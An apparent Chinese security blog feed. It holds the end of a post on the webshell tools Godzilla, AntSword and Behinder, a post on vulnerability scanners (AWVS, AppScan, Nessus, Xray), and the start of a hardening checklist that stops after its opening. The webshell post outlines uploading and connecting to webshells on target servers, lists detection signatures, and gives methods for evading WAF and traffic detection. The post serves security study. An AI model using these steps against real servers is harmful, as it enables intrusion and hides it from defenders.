<section><h2>三、哥斯拉（Godzilla）<a href="#三哥斯拉godzilla"><span>#</span></a></h2><section><h3>3.1 启动<a href="#31-启动"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>java</span><span> </span><span>-jar</span><span> </span><span>Godzilla4.0.1.jar</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>切换中文：</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>Configure → Program Configuration → Core Configuration → Language → zh</span></div></div><div><div><div>2</div></div><div><span>重启生效</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>3.2 使用流程<a href="#32-使用流程"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>1. 生成 WebShell</span></div></div><div><div><div>2</div></div><div><span><span>   </span></span><span>└── 管理 → 生成 → 选择语言（PHP/ASP/JSP）</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span>2. 上传 WebShell 到目标服务器</span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span>3. 连接</span></div></div><div><div><div>7</div></div><div><span><span>   </span></span><span>├── 添加目标：http://目标IP/gsl.php</span></div></div><div><div><div>8</div></div><div><span><span>   </span></span><span>├── 选择对应语言</span></div></div><div><div><div>9</div></div><div><span><span>   </span></span><span>└── 配置连接密码</span></div></div><div><div><div>10</div></div><div>
</div></div><div><div><div>11</div></div><div><span>4. 成功连接 → 进入管理界面</span></div></div><div><div><div>12</div></div><div><span><span>   </span></span><span>├── 基础信息</span></div></div><div><div><div>13</div></div><div><span><span>   </span></span><span>├── 命令执行</span></div></div><div><div><div>14</div></div><div><span><span>   </span></span><span>└── 文件管理</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>3.3 哥斯拉流量特征<a href="#33-哥斯拉流量特征"><span>#</span></a></h3>

<table><thead><tr><th>特征</th><th>说明</th></tr></thead><tbody><tr><td><strong>首次请求</strong></td><td>发送大量数据，不含 Cookie</td></tr><tr><td><strong>Cookie</strong></td><td>末尾有分号 <code>;</code>（关键特征）</td></tr><tr><td><strong>User-Agent</strong></td><td>默认暴露 JDK 信息（弱特征，可去除）</td></tr><tr><td><strong>Accept</strong></td><td><code>text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2</code>（弱特征）</td></tr><tr><td><strong>响应体</strong></td><td>md5 前16位 + Base64 数据 + md5 后16位</td></tr></tbody></table></section><section><h3>3.4 流量绕过方法<a href="#34-流量绕过方法"><span>#</span></a></h3>

<table><thead><tr><th>方法</th><th>说明</th></tr></thead><tbody><tr><td><strong>自定义 HTTP 头部</strong></td><td>修改 User-Agent、Accept 等</td></tr><tr><td><strong>自定义加密</strong></td><td>修改传输加密方式</td></tr><tr><td><strong>代理转发</strong></td><td>使用中间人代理</td></tr></tbody></table><hr /></section></section>
<section><h2>四、蚁剑（AntSword）<a href="#四蚁剑antsword"><span>#</span></a></h2><section><h3>4.1 基础配置<a href="#41-基础配置"><span>#</span></a></h3><section><h4>设置代理（抓包）<a href="#设置代理抓包"><span>#</span></a></h4><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>蚁剑配置 → 代理设置 → 填写 Burp Suite 监听地址（127.0.0.1:8080）</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>编码器目录<a href="#编码器目录"><span>#</span></a></h4><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>antSword/antData/encoders/</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section><section><h3>4.2 蚁剑流量特征<a href="#42-蚁剑流量特征"><span>#</span></a></h3>

<table><thead><tr><th>特征</th><th>说明</th></tr></thead><tbody><tr><td><strong>请求体开头</strong></td><td><code>@ini_set("display_errors","0");@set_time_limit(0)</code></td></tr><tr><td><strong>响应体格式</strong></td><td><code>随机数 + Base64数据 + 随机数</code></td></tr></tbody></table></section><section><h3>4.3 使用编码器绕过 WAF<a href="#43-使用编码器绕过-waf"><span>#</span></a></h3><section><h4>添加编码器<a href="#添加编码器"><span>#</span></a></h4><ol>
<li>将编码器解压到 <code>antSword/antData/encoders/</code> 目录</li>
<li>在蚁剑中进入编码设置界面</li>
<li>选择对应的编码器</li>
</ol></section><section><h4>RSA 编码器<a href="#rsa-编码器"><span>#</span></a></h4><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>1. 生成 RSA 密钥对</span></div></div><div><div><div>2</div></div><div><span>2. 生成对应的 RSA 木马</span></div></div><div><div><div>3</div></div><div><span>3. 上传木马到目标服务器</span></div></div><div><div><div>4</div></div><div><span>4. 配置编码器 → 选择 RSA</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>AES 编码器<a href="#aes-编码器"><span>#</span></a></h4><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>1. 获取木马内容（修改密码）</span></div></div><div><div><div>2</div></div><div><span>2. 保存到目标服务器</span></div></div><div><div><div>3</div></div><div><span>3. 配置编码器 → 选择 AES</span></div></div><div><div><div>4</div></div><div><span>4. 浏览器访问一次木马获取会话编号</span></div></div><div><div><div>5</div></div><div><span>5. 配置会话编号</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section><section><h3>4.4 编码器类型<a href="#44-编码器类型"><span>#</span></a></h3>

<table><thead><tr><th>编码器</th><th>说明</th></tr></thead><tbody><tr><td><code>default</code></td><td>默认（不推荐）</td></tr><tr><td><code>base64</code></td><td>Base64 编码</td></tr><tr><td><code>chr</code></td><td>ASCII 字符编码</td></tr><tr><td><code>rot13</code></td><td>ROT13 编码</td></tr><tr><td><code>aes_128_ecb_zero_padding</code></td><td>AES-128-ECB 加密</td></tr><tr><td><code>aes_256_cfb_zero_padding</code></td><td>AES-256-CFB 加密</td></tr><tr><td><code>rsa</code></td><td>RSA 非对称加密</td></tr></tbody></table><hr /></section></section>
<section><h2>五、流量绕过综合方法<a href="#五流量绕过综合方法"><span>#</span></a></h2><section><h3>5.1 编码/加密绕过<a href="#51-编码加密绕过"><span>#</span></a></h3>

<table><thead><tr><th>方法</th><th>原理</th></tr></thead><tbody><tr><td><strong>自定义编码器</strong></td><td>自定义加解密算法，避免特征被检测</td></tr><tr><td><strong>RSA 加密</strong></td><td>非对称加密传输数据</td></tr><tr><td><strong>AES 加密</strong></td><td>对称加密传输数据</td></tr><tr><td><strong>多重编码</strong></td><td>base64 + ROT13 + 自定义混淆</td></tr></tbody></table></section><section><h3>5.2 代理绕过<a href="#52-代理绕过"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 使用代理工具转发流量</span></div></div><div><div><div>2</div></div><div><span>蚁剑/冰蝎</span><span> </span><span>→</span><span> </span><span>本地代理</span><span> </span><span>→</span><span> </span><span>代理服务器</span><span> </span><span>→</span><span> </span><span>目标</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>5.3 流量混淆<a href="#53-流量混淆"><span>#</span></a></h3>

<table><thead><tr><th>方法</th><th>说明</th></tr></thead><tbody><tr><td>修改 User-Agent</td><td>模拟不同浏览器</td></tr><tr><td>修改 Content-Type</td><td>模拟正常 API</td></tr><tr><td>添加无用参数</td><td>增加噪声数据</td></tr><tr><td>分片传输</td><td>将数据拆分为多个小包</td></tr></tbody></table><hr /></section></section>
<section><h2>📌 快速参考卡片<a href="#-快速参考卡片"><span>#</span></a></h2><section><h3>启动命令<a href="#启动命令"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 冰蝎</span></div></div><div><div><div>2</div></div><div><span>java</span><span> </span><span>-jar</span><span> </span><span>Behinder.jar</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 哥斯拉</span></div></div><div><div><div>5</div></div><div><span>java</span><span> </span><span>-jar</span><span> </span><span>Godzilla4.0.1.jar</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>核心特征速查<a href="#核心特征速查"><span>#</span></a></h3>

<table><thead><tr><th>工具</th><th>最明显特征</th></tr></thead><tbody><tr><td><strong>蚁剑</strong></td><td>请求体 <code>@ini_set("display_errors","0")</code></td></tr><tr><td><strong>冰蝎</strong></td><td>长连接 + 固定密钥 <code>e45e329feb5d925b</code></td></tr><tr><td><strong>哥斯拉</strong></td><td>Cookie 末尾分号 + 响应体 md5 拆分</td></tr></tbody></table></section><section><h3>流量绕过口诀<a href="#流量绕过口诀"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>改 UA，改 Accept，</span></div></div><div><div><div>2</div></div><div><span>自定义加密最有效，</span></div></div><div><div><div>3</div></div><div><span>代理转发分片传，</span></div></div><div><div><div>4</div></div><div><span>特征隐藏查不到。</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.emberlag.com/posts/vulnerability-scanner/</id>
      <title type="text">漏扫工具</title>
      <published>2026-10-17T15:10:00.000Z</published>
      <updated>2026-10-17T15:10:00.000Z</updated>
      <author><name>3mb3rl4g</name></author>
      <link rel="alternate" href="https://blog.emberlag.com/posts/vulnerability-scanner/"/>
      <summary type="text">AWVS、AppScan、Nessus、Xray 四款漏扫工具的定位、使用方式与扫描结果解读。</summary>
      <content type="html"><![CDATA[<section><h2>一、漏扫工具概述<a href="#一漏扫工具概述"><span>#</span></a></h2><section><h3>1.1 漏扫工具分类<a href="#11-漏扫工具分类"><span>#</span></a></h3>

<table><thead><tr><th>类别</th><th>代表工具</th></tr></thead><tbody><tr><td><strong>国际</strong></td><td>AWVS、Nessus、IBM AppScan</td></tr><tr><td><strong>国内</strong></td><td>绿盟 RSAS、极光、安恒明鉴、Xray、Pocsuite、Nuclei</td></tr></tbody></table></section><section><h3>1.2 漏扫工具分类<a href="#12-漏扫工具分类"><span>#</span></a></h3>

<table><thead><tr><th>类型</th><th>说明</th></tr></thead><tbody><tr><td><strong>主机漏扫</strong></td><td>扫描操作系统漏洞（如 Nessus）</td></tr><tr><td><strong>应用漏扫</strong></td><td>扫描 Web 应用漏洞（如 AWVS、AppScan）</td></tr></tbody></table><hr /></section></section>
<section><h2>二、AWVS（Acunetix Web Vulnerability Scanner）<a href="#二awvsacunetix-web-vulnerability-scanner"><span>#</span></a></h2><section><h3>2.1 简介<a href="#21-简介"><span>#</span></a></h3><p>AWVS 可以扫描任何通过 Web 浏览器访问且遵循 HTTP/HTTPS 规则的 Web 站点。</p></section><section><h3>2.2 特点<a href="#22-特点"><span>#</span></a></h3>

<table><thead><tr><th>特点</th><th>说明</th></tr></thead><tbody><tr><td><strong>Ajax 支持</strong></td><td>自动客户端脚本分析器，支持 Web 2.0 应用</td></tr><tr><td><strong>深度检测</strong></td><td>业内最先进的 SQL 注入和 XSS 测试</td></tr><tr><td><strong>渗透工具</strong></td><td>HTTP Editor、HTTP Fuzzer</td></tr><tr><td><strong>宏记录器</strong></td><td>轻松测试带密码保护的页面</td></tr><tr><td><strong>验证码支持</strong></td><td>支持 CAPTCHA、双因素认证</td></tr><tr><td><strong>报告丰富</strong></td><td>含 VISA PCI 合规报告</td></tr><tr><td><strong>多线程扫描</strong></td><td>高速扫描</td></tr><tr><td><strong>智能爬行</strong></td><td>检测 Web 服务器类型和语言</td></tr><tr><td><strong>端口扫描</strong></td><td>对 Web 服务器进行端口和服务扫描</td></tr></tbody></table></section><section><h3>2.3 Docker 安装（推荐）<a href="#23-docker-安装推荐"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 拉取镜像</span></div></div><div><div><div>2</div></div><div><span>docker</span><span> </span><span>pull</span><span> </span><span>secfa/docker-awvs</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 运行容器</span></div></div><div><div><div>5</div></div><div><span>docker</span><span> </span><span>run</span><span> </span><span>-d</span><span> </span><span>-p</span><span> </span><span>3443:3443</span><span> </span><span>secfa/docker-awvs</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>访问地址：</strong> <code>https://宿主机IP:3443</code></p><p>⚠️ 如果访问失败，检查防火墙是否开放端口或尝试关闭防火墙。</p></section><section><h3>2.4 扫描流程<a href="#24-扫描流程"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>1. 添加目标（Add Target）</span></div></div><div><div><div>2</div></div><div><span><span>   </span></span><span>└── 输入 URL</span></div></div><div><div><div>3</div></div><div><span><span>   </span></span><span>└── 配置扫描设置</span></div></div><div><div><div>4</div></div><div><span><span>         </span></span><span>↓</span></div></div><div><div><div>5</div></div><div><span>2. 开始扫描</span></div></div><div><div><div>6</div></div><div><span><span>   </span></span><span>├── 探索（Crawl）→ 了解整个 Web 页面结构</span></div></div><div><div><div>7</div></div><div><span><span>   </span></span><span>├── 攻击（Attack）→ 对修改的 HTTP Request 进行攻击尝试</span></div></div><div><div><div>8</div></div><div><span><span>   </span></span><span>└── 分析（Analyze）→ 分析 Response 验证漏洞</span></div></div><div><div><div>9</div></div><div><span><span>         </span></span><span>↓</span></div></div><div><div><div>10</div></div><div><span>3. 生成报告</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section></section>
<section><h2>三、IBM AppScan<a href="#三ibm-appscan"><span>#</span></a></h2><section><h3>3.1 简介<a href="#31-简介"><span>#</span></a></h3><p>IBM AppScan 是一款 Web 安全扫描工具，利用爬虫技术对网站进行渗透测试，扫描后提供报告和修复建议。版本越新，用例库越全。</p></section><section><h3>3.2 工作原理<a href="#32-工作原理"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>1. 通过探索了解整个 Web 页面结构</span></div></div><div><div><div>2</div></div><div><span>2. 使用扫描规则库对修改的 HTTP Request 进行攻击尝试</span></div></div><div><div><div>3</div></div><div><span>3. 分析 Response 来验证是否存在安全漏洞</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>3.3 配置登录方式<a href="#33-配置登录方式"><span>#</span></a></h3>

<table><thead><tr><th>登录方式</th><th>说明</th></tr></thead><tbody><tr><td><strong>自动</strong></td><td>直接填写用户名/密码</td></tr><tr><td><strong>记录</strong></td><td>通过内置浏览器登录，记录登录过程</td></tr><tr><td><strong>提示</strong></td><td>扫描过程中遇到需要登录时提示输入</td></tr><tr><td><strong>无</strong></td><td>不登录（适合未授权渗透）</td></tr></tbody></table></section><section><h3>3.4 启动模式<a href="#34-启动模式"><span>#</span></a></h3>

<table><thead><tr><th>模式</th><th>说明</th></tr></thead><tbody><tr><td><strong>全面自动扫描</strong></td><td>探索 + 攻击测试同时进行</td></tr><tr><td><strong>仅自动”探索”</strong></td><td>只爬取目录结构，不作攻击测试</td></tr><tr><td><strong>手动探索</strong></td><td>通过内置浏览器手动点击，AppScan 记录</td></tr><tr><td><strong>稍后启动扫描</strong></td><td>保存配置，后续继续操作</td></tr></tbody></table></section><section><h3>3.5 扫描流程<a href="#35-扫描流程"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>新建扫描 → 输入 URL → 配置登录 → 选择策略 → 选择模式 → 开始扫描 → 生成报告</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section></section>
<section><h2>四、Nessus<a href="#四nessus"><span>#</span></a></h2><section><h3>4.1 简介<a href="#41-简介"><span>#</span></a></h3><p>Nessus 号称<strong>世界上最流行的漏洞扫描程序</strong>，全球超过 75000 个组织在使用。支持本地和远程漏洞分析扫描，是渗透测试的重要工具之一。</p></section><section><h3>4.2 安装（Kali）<a href="#42-安装kali"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 下载 .deb 安装包</span></div></div><div><div><div>2</div></div><div><span># 安装</span></div></div><div><div><div>3</div></div><div><span>dpkg</span><span> </span><span>-i</span><span> </span><span>Nessus-10.3.0-debian9_amd64.deb</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span># 启动 Nessus</span></div></div><div><div><div>6</div></div><div><span>/bin/systemctl</span><span> </span><span>start</span><span> </span><span>nessusd.service</span></div></div><div><div><div>7</div></div><div>
</div></div><div><div><div>8</div></div><div><span># 查看启动状态</span></div></div><div><div><div>9</div></div><div><span>ps</span><span> </span><span>-ef</span><span> | </span><span>grep</span><span> </span><span>nessus</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>4.3 获取激活码<a href="#43-获取激活码"><span>#</span></a></h3><p>访问：<a href="https://zh-cn.tenable.com/products/nessus/nessus-essentials" target="_blank">https://zh-cn.tenable.com/products/nessus/nessus-essentials</a></p><ul>
<li>填写信息后获取激活码（免费版限制：<strong>最多扫描 16 个 IP</strong>）</li>
<li>等待接收邮件</li>
</ul></section><section><h3>4.4 访问<a href="#44-访问"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>https://localhost:8834</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>⚠️ 如果没有科学上网环境，激活可能失败。可使用离线插件包安装。</p></section><section><h3>4.5 使用流程<a href="#45-使用流程"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>1. 设置扫描策略（Policy）</span></div></div><div><div><div>2</div></div><div><span>2. 新建扫描任务（New Scan）</span></div></div><div><div><div>3</div></div><div><span>3. 选择策略 → 添加目标 IP</span></div></div><div><div><div>4</div></div><div><span>4. 开始扫描</span></div></div><div><div><div>5</div></div><div><span>5. 等待完成 → 导出报告</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>4.6 Nessus 离线插件更新（如遇网络问题）<a href="#46-nessus-离线插件更新如遇网络问题"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 拷贝离线插件包到 Nessus 安装目录</span></div></div><div><div><div>2</div></div><div><span># 管理员运行 cmd，进入目录执行</span></div></div><div><div><div>3</div></div><div><span>nessuscli.exe</span><span> </span><span>update</span><span> </span><span>all-2.0.tar.gz</span></div></div><div><div><div>4</div></div><div><span># 等待约 20 分钟</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section></section>
<section><h2>五、Xray<a href="#五xray"><span>#</span></a></h2><section><h3>5.1 简介<a href="#51-简介"><span>#</span></a></h3><p>Xray 是<strong>国内安全厂商长亭科技</strong>开发的一款功能强大的安全评估工具，支持主动/被动扫描，支持多种 Web 漏洞自动化测试，支持自定义 POC。</p></section><section><h3>5.2 安装（Kali）<a href="#52-安装kali"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 下载 Linux 版本（xray_linux_amd64）</span></div></div><div><div><div>2</div></div><div><span># 解压</span></div></div><div><div><div>3</div></div><div><span>unzip</span><span> </span><span>xray_linux_amd64.zip</span></div></div><div><div><div>4</div></div><div><span># 进入目录，赋予执行权限</span></div></div><div><div><div>5</div></div><div><span>chmod</span><span> </span><span>+x</span><span> </span><span>xray_linux_amd64</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>5.3 常用命令<a href="#53-常用命令"><span>#</span></a></h3><section><h4>基础爬虫扫描（主动）<a href="#基础爬虫扫描主动"><span>#</span></a></h4><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>./xray_linux_amd64</span><span> </span><span>webscan</span><span> </span><span>--basic-crawler</span><span> </span><span>http://example.com</span><span> </span><span>--html-output</span><span> </span><span>vuln.html</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>HTTP 代理扫描（被动）<a href="#http-代理扫描被动"><span>#</span></a></h4><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>./xray_linux_amd64</span><span> </span><span>webscan</span><span> </span><span>--listen</span><span> </span><span>127.0.0.1:7777</span><span> </span><span>--html-output</span><span> </span><span>proxy.html</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>设置浏览器 HTTP 代理为 <code>http://127.0.0.1:7777</code>，Xray 会自动分析代理流量并扫描。</p></section><section><h4>单 URL 扫描<a href="#单-url-扫描"><span>#</span></a></h4><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>./xray_linux_amd64</span><span> </span><span>webscan</span><span> </span><span>--url</span><span> </span><span>http://example.com/?a=b</span><span> </span><span>--html-output</span><span> </span><span>single-url.html</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>指定插件<a href="#指定插件"><span>#</span></a></h4><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 仅启用命令注入和 SQL 注入检测插件</span></div></div><div><div><div>2</div></div><div><span>./xray_linux_amd64</span><span> </span><span>webscan</span><span> </span><span>--plugins</span><span> </span><span>cmd-injection,sqldet</span><span> </span><span>--url</span><span> </span><span>http://example.com</span></div></div><div><div><div>3</div></div><div><span>./xray_linux_amd64</span><span> </span><span>webscan</span><span> </span><span>--plugins</span><span> </span><span>cmd-injection,sqldet</span><span> </span><span>--listen</span><span> </span><span>127.0.0.1:7777</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>指定输出格式<a href="#指定输出格式"><span>#</span></a></h4><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>./xray_linux_amd64</span><span> </span><span>webscan</span><span> </span><span>--url</span><span> </span><span>http://example.com/?a=b</span><span> </span><span>\</span></div></div><div><div><div>2</div></div><div><span>  </span><span>--text-output</span><span> </span><span>result.txt</span><span> </span><span>\</span></div></div><div><div><div>3</div></div><div><span>  </span><span>--json-output</span><span> </span><span>result.json</span><span> </span><span>\</span></div></div><div><div><div>4</div></div><div><span>  </span><span>--html-output</span><span> </span><span>report.html</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section></section></section>
<section><h2>📌 快速参考卡片<a href="#-快速参考卡片"><span>#</span></a></h2><section><h3>AWVS Docker 安装<a href="#awvs-docker-安装"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>docker</span><span> </span><span>pull</span><span> </span><span>secfa/docker-awvs</span></div></div><div><div><div>2</div></div><div><span>docker</span><span> </span><span>run</span><span> </span><span>-d</span><span> </span><span>-p</span><span> </span><span>3443:3443</span><span> </span><span>secfa/docker-awvs</span></div></div><div><div><div>3</div></div><div><span># 访问 https://IP:3443</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>Nessus 启动<a href="#nessus-启动"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>/bin/systemctl</span><span> </span><span>start</span><span> </span><span>nessusd.service</span></div></div><div><div><div>2</div></div><div><span># 访问 https://localhost:8834</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>Xray 常用命令<a href="#xray-常用命令"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 主动爬虫扫描</span></div></div><div><div><div>2</div></div><div><span>./xray</span><span> </span><span>webscan</span><span> </span><span>--basic-crawler</span><span> </span><span>http://example.com</span><span> </span><span>--html-output</span><span> </span><span>report.html</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 被动代理扫描</span></div></div><div><div><div>5</div></div><div><span>./xray</span><span> </span><span>webscan</span><span> </span><span>--listen</span><span> </span><span>127.0.0.1:7777</span><span> </span><span>--html-output</span><span> </span><span>report.html</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span># 单 URL 扫描</span></div></div><div><div><div>8</div></div><div><span>./xray</span><span> </span><span>webscan</span><span> </span><span>--url</span><span> </span><span>http://example.com/?a=b</span><span> </span><span>--html-output</span><span> </span><span>report.html</span></div></div><div><div><div>9</div></div><div>
</div></div><div><div><div>10</div></div><div><span># 指定插件</span></div></div><div><div><div>11</div></div><div><span>./xray</span><span> </span><span>webscan</span><span> </span><span>--plugins</span><span> </span><span>sqldet,xss</span><span> </span><span>--url</span><span> </span><span>http://example.com</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>工具对比<a href="#工具对比"><span>#</span></a></h3>

<table><thead><tr><th>工具</th><th>类型</th><th>部署方式</th><th>特点</th></tr></thead><tbody><tr><td><strong>AWVS</strong></td><td>Web 应用漏扫</td><td>Docker/Windows</td><td>商业、功能全面</td></tr><tr><td><strong>AppScan</strong></td><td>Web 应用漏扫</td><td>Windows</td><td>IBM 产品、用例库丰富</td></tr><tr><td><strong>Nessus</strong></td><td>主机 + 应用漏扫</td><td>多平台</td><td>全球最流行、免费版限 16 IP</td></tr><tr><td><strong>Xray</strong></td><td>Web 应用漏扫</td><td>多平台</td><td>开源、支持 POC 自定义</td></tr></tbody></table></section></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.emberlag.com/posts/baseline-check-and-hardening/</id>
      <title type="text">基线检查及安全加固</title>
      <published>2026-10-13T15:08:00.000Z</published>
      <updated>2026-10-13T15:08:00.000Z</updated>
      <author><name>3mb3rl4g</name></author>
      <link rel="alternate" href="https://blog.emberlag.com/posts/baseline-check-and-hardening/"/>
      <summary type="text">PHP、Windows、Linux、Apache、Nginx、Tomcat、MySQL 七大对象的基线检查与安全加固清单。</summary>
      <content type="html"><![CDATA[<section><h2>一、基本概念<a href="#一基本概念"><span>#</span></a></h2><section><h3>1.1 核心概念速记<a href="#11-核心概念速记"><span>#</span></a></h3>

<table><thead><tr><th>缩写</th><th>全称</th><th>说明</th></tr></thead><tbody><tr><td><strong>OS</strong></td><td>Operation System</td><td>操作系统</td></tr><tr><td><strong>DBMS</strong></td><td>Database Management System</td><td>数据库管理系统（Oracle、MySQL、SQL Server、达梦、人大金仓）</td></tr><tr><td><strong>FW</strong></td><td>Firewall</td><td>防火墙</td></tr><tr><td><strong>WAF</strong></td><td>Web Application Firewall</td><td>Web应用防火墙</td></tr><tr><td><strong>RT</strong></td><td>Router</td><td>路由器（网关）</td></tr><tr><td><strong>SW</strong></td><td>Switch</td><td>交换机</td></tr></tbody></table><p><strong>存储单位：</strong></p><ul>
<li>1b（bit）= 1个二进制位</li>
<li>1B（Byte）= 8bit</li>
<li>1KB = 1024B</li>
<li>1MB = 1024KB</li>
</ul></section><section><h3>1.2 什么是基线检查？<a href="#12-什么是基线检查"><span>#</span></a></h3><p>检查系统/应用的基本安全配置是否符合标准。</p></section><section><h3>1.3 常见问答<a href="#13-常见问答"><span>#</span></a></h3>

<table><thead><tr><th>问题</th><th>答案</th></tr></thead><tbody><tr><td>基线检查和安全检测有何区别？</td><td>几乎没有区别</td></tr><tr><td>做完一次基线检查和安全加固后就不用再做了吗？</td><td><strong>不行</strong>，需定期持续进行</td></tr><tr><td>什么时候做基线检查？</td><td>客户/合同要求时、系统部署后、上线前</td></tr><tr><td>一般对哪些系统做安检加固？</td><td>OS、DBMS、中间件、网络设备、网络安全设备</td></tr></tbody></table></section><section><h3>1.4 配置途径<a href="#14-配置途径"><span>#</span></a></h3>

<table><thead><tr><th>途径</th><th>使用场景</th></tr></thead><tbody><tr><td><strong>命令</strong></td><td>cmd/powershell 中执行</td></tr><tr><td><strong>注册表（regedit）</strong></td><td>Windows 系统配置</td></tr><tr><td><strong>组策略（gpedit.msc）</strong></td><td>Windows 批量策略配置</td></tr><tr><td><strong>安全策略（secpol.msc）</strong></td><td>Windows 安全配置</td></tr><tr><td><strong>控制面板（control）</strong></td><td>Windows 图形界面</td></tr><tr><td><strong>配置文件</strong></td><td>Linux/开源软件</td></tr></tbody></table><hr /></section></section>
<section><h2>二、PHP 安全加固<a href="#二php-安全加固"><span>#</span></a></h2><section><h3>2.1 PHP 配置文件位置<a href="#21-php-配置文件位置"><span>#</span></a></h3><div><figure><figcaption><span>/etc/php/7.4/fpm/php.ini</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 查找 php.ini</span></div></div><div><div><div>2</div></div><div><span>find</span><span> </span><span>/etc</span><span> </span><span>-name</span><span> </span><span>php.ini</span></div></div><div><div><div>3</div></div><div><span># 常见位置：</span></div></div><div><div><div>4</div></div><div><span># /etc/php/7.4/cli/php.ini</span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span># 查看已安装 PHP</span></div></div><div><div><div>7</div></div><div><span>sudo</span><span> </span><span>apt</span><span> </span><span>list</span><span> </span><span>--installed</span><span> | </span><span>grep</span><span> </span><span>php</span></div></div><div><div><div>8</div></div><div><span>which</span><span> </span><span>php</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>2.2 PHP 核心加固配置<a href="#22-php-核心加固配置"><span>#</span></a></h3>

